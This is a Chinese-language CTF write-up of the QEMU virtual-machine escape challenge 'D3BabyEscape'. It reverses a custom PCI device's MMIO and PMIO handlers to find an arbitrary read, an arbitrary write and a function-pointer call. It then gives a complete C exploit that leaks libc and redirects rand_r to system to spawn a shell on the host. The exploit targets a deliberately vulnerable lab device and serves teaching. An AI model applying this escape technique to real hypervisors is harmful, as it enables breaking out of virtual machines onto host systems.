D3BabyEscape
[TOC]
- 学完qemu逃逸后的第一题,这个题难点在于要逆向
题目分析
如何开始逆向
- 首先根据-device启动参数知道设备是l0dev,接下来进行逆向。逆向当然不是看所有部分,我们只关心一些重点,也就是这些部分。通过search text找到所有含有l0dev的字符串然后逆向这些函数
- 这里有个小技巧,其实大部分mmio_read或者mmio_write这些函数的参数列表其实都是相似的,这里之前参考之前的一个题进行修改,事实证明确实如此
- 逆向有开源的东西时不要硬逆,看看有没有什么资源是现成的那就可以直接用
l0dev_realize函数
- 可见mmio,pmio都有
l0dev_instance_init函数
- 其实qemu都会维护一个结构体,这里的v1一般就是这个结构体的头部,因此可以根据此大致逆向出这个结构体是个什么,而且这个结构体一般都有buffer
结构体
- 逆向结构体的过程就是算算偏移,要自己体会
mmio_read函数
- 如果可以控制offset,就可以任意地址泄露
mmio_write函数
- 发现addr=128可以控制offset的值
- addr=64这个看的很奇怪,其实就是根据结构体头部+0xd48来执行这里的函数,然后将buf作为rdi,就是一个任意函数执行
pmio_read函数
- 复制值666就可以让magic=1
pmio_write函数
- magic=1可以任意地址写
exp分析
- 有了任意地址读和写,任意函数执行,这个题就很简单了
- exp没什么好分析的,注意如何使用libc中的函数,从Dockerfile里面看到libc版本然后手动找偏移就行了
- 通过info pci找到pmio的端口
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>
char *mmio_mem;
size_t mmio_read(size_t addr)
{
size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
return *(mmio);
}
void mmio_write(size_t addr, size_t val)
{
size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
*(mmio) = val;
}
#define IO_PORT 0xc000
size_t pmio_read(size_t addr)
{
size_t pmio = IO_PORT + addr;
return inl(pmio);
}
void pmio_write(size_t addr, size_t val)
{
size_t pmio = IO_PORT + addr;
outl(val, pmio);
}
int main()
{
int mmio_fd;
size_t libc_addr = 0, system_addr;
// Open and map I/O memory for the string device
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
if(iopl(3) == -1) /* Apply to system for accessing the port */
{
perror("iopl");
exit(EXIT_FAILURE);
}
mmio_write(128, 0x100);
libc_addr = mmio_read(4);
libc_addr = libc_addr - 0x460a0; // srandom offset
printf("libc_addr: %#lx\n", libc_addr);
system_addr = libc_addr + 0x50d70;
//让magic的值为666
pmio_write(0, 666);
pmio_read(0);
//覆盖rand_r为system,任意函数执行
pmio_write(20, system_addr);
mmio_write(64, 0x6873);
return 0;
}
mkdir exp
cp ./bin/rootfs.img ./exp/
cd exp
cpio -idmv < ./rootfs.img
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > rootfs.img
cp rootfs.img /home/zp9080/attachment/bin